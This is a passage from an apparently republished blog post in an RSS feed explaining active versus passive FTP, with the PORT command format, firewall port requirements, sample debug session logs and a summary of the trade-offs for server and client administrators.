standard FTP command line client, to testbox2.slacksite.com (192.168.150.90), a linux box running ProFTPd 1.2.2RC2. The debugging (-d) flag is used with the FTP client to show what is going on behind the scenes. Everything in red is the debugging output which shows the actual FTP commands being sent to the server and the responses generated from those commands. Normal server output is shown in black, and user input is in bold. &lt;br /&gt;&lt;br /&gt;There are a few interesting things to consider about this dialog. Notice that when the PORT command is issued, it specifies a port on the client (192.168.150.80) system, rather than the server. We will see the opposite behavior when we use passive FTP. While we are on the subject, a quick note about the format of the PORT command. As you can see in the example below it is formatted as a series of six numbers separated by commas. The first four octets are the IP address while the second two octets comprise the port that will be used for the data connection. To find the actual port multiply the fifth octet by 256 and then add the sixth octet to the total. Thus in the example below the port number is ( (14*256) + 178), or 3762. A quick check with netstat should confirm this information. &lt;br /&gt;&lt;br /&gt;testbox1: {/home/p-t/slacker/public_html} % ftp -d testbox2 &lt;br /&gt;Connected to testbox2.slacksite.com. &lt;br /&gt;220 testbox2.slacksite.com FTP server ready. &lt;br /&gt;Name (testbox2:slacker): slacker &lt;br /&gt;---&amp;gt; USER slacker &lt;br /&gt;331 Password required for slacker. &lt;br /&gt;Password: TmpPass &lt;br /&gt;---&amp;gt; PASS XXXX &lt;br /&gt;230 User slacker logged in. &lt;br /&gt;---&amp;gt; SYST &lt;br /&gt;215 UNIX Type: L8 &lt;br /&gt;Remote system type is UNIX. &lt;br /&gt;Using binary mode to transfer files. &lt;br /&gt;ftp&amp;gt; ls &lt;br /&gt;ftp: setsockopt (ignored): Permission denied &lt;br /&gt;---&amp;gt; PORT 192,168,150,80,14,178 &lt;br /&gt;200 PORT command successful. &lt;br /&gt;---&amp;gt; LIST &lt;br /&gt;150 Opening ASCII mode data connection for file list. &lt;br /&gt;drwx------ 3 slacker users 104 Jul 27 01:45 public_html &lt;br /&gt;226 Transfer complete. &lt;br /&gt;ftp&amp;gt; quit &lt;br /&gt;---&amp;gt; QUIT &lt;br /&gt;221 Goodbye. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Passive FTP &lt;br /&gt;In order to resolve the issue of the server initiating the connection to the client a different method for FTP connections was developed. This was known as passive mode, or PASV, after the command used by the client to tell the server it is in passive mode. &lt;br /&gt;&lt;br /&gt;In passive mode FTP the client initiates both connections to the server, solving the problem of firewalls filtering the incoming data port connection to the client from the server. When opening an FTP connection, the client opens two random unprivileged ports locally (N &amp;gt; 1024 and N+1). The first port contacts the server on port 21, but instead of then issuing a PORT command and allowing the server to connect back to its data port, the client will issue the PASV command. The result of this is that the server then opens a random unprivileged port (P &amp;gt; 1024) and sends the PORT P command back to the client. The client then initiates the connection from port N+1 to port P on the server to transfer data. &lt;br /&gt;&lt;br /&gt;From the server-side firewall&#39;s standpoint, to support passive mode FTP the following communication channels need to be opened: &lt;br /&gt;&lt;br /&gt;FTP server&#39;s port 21 from anywhere (Client initiates connection) &lt;br /&gt;FTP server&#39;s port 21 to ports &amp;gt; 1024 (Server responds to client&#39;s control port) &lt;br /&gt;FTP server&#39;s ports &amp;gt; 1024 from anywhere (Client initiates data connection to random port specified by server) &lt;br /&gt;FTP server&#39;s ports &amp;gt; 1024 to remote ports &amp;gt; 1024 (Server sends ACKs (and data) to client&#39;s data port) &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;In step 1, the client contacts the server on the command port and issues the PASV command. The server then replies in step 2 with PORT 2024, telling the client which port it is listening to for the data connection. In step 3 the client then initiates the data connection from its data port to the specified server data port. Finally, the server sends back an ACK in step 4 to the client&#39;s data port. &lt;br /&gt;&lt;br /&gt;While passive mode FTP solves many of the problems from the client side, it opens up a whole range of problems on the server side. The biggest issue is the need to allow any remote connection to high numbered ports on the server. Fortunately, many FTP daemons, including the popular WU-FTPD allow the administrator to specify a range of ports which the FTP server will use. See Appendix 1 for more information. &lt;br /&gt;&lt;br /&gt;The second issue involves supporting and troubleshooting clients which do (or do not) support passive mode. As an example, the command line FTP utility provided with Solaris does not support passive mode, necessitating a third-party FTP client, such as ncftp. &lt;br /&gt;&lt;br /&gt;With the massive popularity of the World Wide Web, many people prefer to use their web browser as an FTP client. Most browsers only support passive mode when accessing ftp:// URLs. This can either be good or bad depending on what the servers and firewalls are configured to support. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Passive FTP Example &lt;br /&gt;Below is an actual example of a passive FTP session. The only things that have been changed are the server names, IP addresses, and user names. In this example an FTP session is initiated from testbox1.slacksite.com (192.168.150.80), a linux box running the standard FTP command line client, to testbox2.slacksite.com (192.168.150.90), a linux box running ProFTPd 1.2.2RC2. The debugging (-d) flag is used with the FTP client to show what is going on behind the scenes. Everything in red is the debugging output which shows the actual FTP commands being sent to the server and the responses generated from those commands. Normal server output is shown in black, and user input is in bold. &lt;br /&gt;&lt;br /&gt;Notice the difference in the PORT command in this example as opposed to the active FTP example. Here, we see a port being opened on the server (192.168.150.90) system, rather than the client. See the discussion about the format of the PORT command above, in the Active FTP Example section. &lt;br /&gt;&lt;br /&gt;testbox1: {/home/p-t/slacker/public_html} % ftp -d testbox2 &lt;br /&gt;Connected to testbox2.slacksite.com. &lt;br /&gt;220 testbox2.slacksite.com FTP server ready. &lt;br /&gt;Name (testbox2:slacker): slacker &lt;br /&gt;---&amp;gt; USER slacker &lt;br /&gt;331 Password required for slacker. &lt;br /&gt;Password: TmpPass &lt;br /&gt;---&amp;gt; PASS XXXX &lt;br /&gt;230 User slacker logged in. &lt;br /&gt;---&amp;gt; SYST &lt;br /&gt;215 UNIX Type: L8 &lt;br /&gt;Remote system type is UNIX. &lt;br /&gt;Using binary mode to transfer files. &lt;br /&gt;ftp&amp;gt; passive &lt;br /&gt;Passive mode on. &lt;br /&gt;ftp&amp;gt; ls &lt;br /&gt;ftp: setsockopt (ignored): Permission denied &lt;br /&gt;---&amp;gt; PASV &lt;br /&gt;227 Entering Passive Mode (192,168,150,90,195,149). &lt;br /&gt;---&amp;gt; LIST &lt;br /&gt;150 Opening ASCII mode data connection for file list &lt;br /&gt;drwx------ 3 slacker users 104 Jul 27 01:45 public_html &lt;br /&gt;226 Transfer complete. &lt;br /&gt;ftp&amp;gt; quit &lt;br /&gt;---&amp;gt; QUIT &lt;br /&gt;221 Goodbye. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Summary &lt;br /&gt;The following chart should help admins remember how each FTP mode works: &lt;br /&gt;&lt;br /&gt;Active FTP : &lt;br /&gt;command : client &amp;gt;1024 -&amp;gt; server 21 &lt;br /&gt;data : client &amp;gt;1024 &amp;lt;- server 20 &lt;br /&gt;&lt;br /&gt;Passive FTP : &lt;br /&gt;command : client &amp;gt;1024 -&amp;gt; server 21 &lt;br /&gt;data : client &amp;gt;1024 -&amp;gt; server &amp;gt;1024 &lt;br /&gt;&lt;br /&gt;A quick summary of the pros and cons of active vs. passive FTP is also in order: &lt;br /&gt;&lt;br /&gt;Active FTP is beneficial to the FTP server admin, but detrimental to the client side admin. The FTP server attempts to make connections to random high ports on the client, which would almost certainly be blocked by a firewall on the client side. Passive FTP is beneficial to the client, but detrimental to the FTP server admin. The client will make both connections to the server, but one of them will be to a random high port, which would almost certainly be blocked by a firewall on the server side. &lt;br /&gt;&lt;br /&gt;Luckily, there is somewhat of a compromise. Since admins running FTP servers will need to make their servers accessible to the greatest number of clients, they will almost certainly need to support passive FTP. The exposure of high level ports on the server can be minimized by specifying a limited port range for the FTP server to use. Thus, everything except for this range of ports can be firewalled on the server side. While this doesn&#39;t eliminate all risk to the server, it decreases it tremendously.&lt;/div&gt;</description><link>http://it-guide888.blogspot.com/2016/12/all-about-ftp-must-read.html</link><author>noreply@blogger.com (Agung Prasetiawan,)</author><thr:total>0</thr:total></item></channel></rss>